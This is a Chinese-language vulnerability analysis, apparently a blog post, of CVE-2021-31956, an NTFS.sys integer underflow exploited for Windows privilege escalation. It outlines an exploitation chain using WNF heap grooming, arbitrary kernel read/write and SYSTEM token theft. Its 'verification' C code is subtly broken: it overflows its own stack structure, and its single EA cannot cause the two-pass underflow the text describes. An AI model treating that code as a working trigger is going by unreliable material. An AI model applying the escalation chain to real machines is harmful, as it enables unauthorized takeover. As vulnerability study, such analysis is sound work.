CVE-2021-31956提权漏洞分析与利用
字数 1540 2025-08-25 22:58:28
CVE-2021-31956 Windows NTFS提权漏洞分析与利用指南
漏洞概述
CVE-2021-31956是Windows NTFS文件系统驱动(NTFS.sys)中的一个提权漏洞,属于整数溢出导致的条件判断绕过漏洞,最终可导致内核缓冲区溢出。该漏洞允许低权限用户提升至SYSTEM权限。
前置知识
NTFS文件系统基础
- NTFS是Windows默认文件系统,具有错误预警、磁盘自我修复和日志功能
- 采用簇(cluster)作为存储单位
- 使用扩展属性(Extended Attributes, EA)存储额外文件信息
关键概念
- EA(Extended Attribute): 文件扩展属性,每个EA块需要32位对齐
- 对齐计算:
padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size - 相关系统调用:
NtSetEaFile和NtQueryEaFile
漏洞分析
漏洞函数
漏洞位于NtfsQueryEaUserEaList函数中,该函数处理文件扩展属性列表并将其存储到缓冲区。
关键结构体
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset; // 下一个同类型结构的偏移,最后一个为0
UCHAR Flags;
UCHAR EaNameLength; // EaName数组的长度
USHORT EaValueLength; // 每个EA值的长度
CHAR EaName[1]; // 属性名
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
typedef struct _FILE_GET_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR EaNameLength;
CHAR EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;
漏洞点
漏洞发生在以下检查处:
ea_block_size <= User_Buffer_Length - padding
其中:
ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9- 三个参数都是无符号32位整数(ui32)
漏洞原理
- 当
User_Buffer_Length小于padding时,减法会导致无符号整数下溢 - 下溢结果会非常大,绕过条件检查
- 导致
memmove操作时发生缓冲区溢出
触发条件
通过精心构造EA属性,使得:
- 第一次循环时
padding=0,正常通过检查 - 第二次循环时
User_Buffer_Length减小,padding增大 - 导致
User_Buffer_Length - padding下溢,绕过检查
漏洞利用
利用步骤
- 创建恶意文件:创建带有精心构造EA属性的文件
- 触发漏洞:通过
NtQueryEaFile触发漏洞 - 堆布局:利用Windows通知设施(WNF)进行内核堆布局
- 内存操作:实现任意内存读写
- 提权:替换进程token
WNF利用技术
Windows Notification Facility(WNF)用于实现任意内存读写原语:
- 创建WNF对象:
NtCreateWnfStateName - 写入数据:
NtUpdateWnfStateData - 读取数据:
NtQueryWnfStateData - 删除对象:
NtDeleteWnfStateData
完整利用流程
- 通过漏洞溢出覆盖相邻WNF_STATE_DATA的
DataSize和AllocateSize成员 - 使用
NtQueryWnfStateData读取和NtUpdateWnfStateData修改数据 - 修改邻近WNF_NAME_INSTANCE结构的
StateData指针为任意内存地址 - 实现任意地址读写
- 遍历进程链表找到SYSTEM进程
- 读取SYSTEM进程的token
- 修改当前进程token为SYSTEM token完成提权
漏洞验证代码
设置EA属性
NTSTATUS SetEaFileExample(HANDLE hFile) {
FILE_FULL_EA_INFORMATION eaInfo;
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
// 设置EA属性
eaInfo.NextEntryOffset = 0;
eaInfo.Flags = 0;
eaInfo.EaNameLength = 5; // "Malic"
eaInfo.EaValueLength = 4; // 精心构造的值
strcpy(eaInfo.EaName, "Malic");
// 设置EA值
DWORD value = 0x41414141;
memcpy(eaInfo.EaName + eaInfo.EaNameLength + 1, &value, sizeof(value));
// 调用NtSetEaFile
status = NtSetEaFile(hFile, &ioStatus, &eaInfo, sizeof(eaInfo));
return status;
}
触发漏洞
NTSTATUS TriggerVulnerability(HANDLE hFile) {
IO_STATUS_BLOCK ioStatus;
NTSTATUS status;
CHAR buffer[0x1000];
// 调用NtQueryEaFile触发漏洞
status = NtQueryEaFile(
hFile,
&ioStatus,
buffer,
sizeof(buffer),
FALSE,
NULL,
0,
NULL,
TRUE
);
return status;
}
防御措施
- 应用微软发布的补丁
- 监控异常的文件系统操作
- 限制低权限用户对文件系统驱动的高危操作
总结
CVE-2021-31956是一个典型的NTFS驱动整数溢出漏洞,通过精心构造EA属性可以绕过安全检查,导致内核缓冲区溢出。结合WNF技术可以实现任意内存读写,最终完成权限提升。理解此漏洞有助于深入分析Windows内核安全机制和文件系统驱动的潜在风险。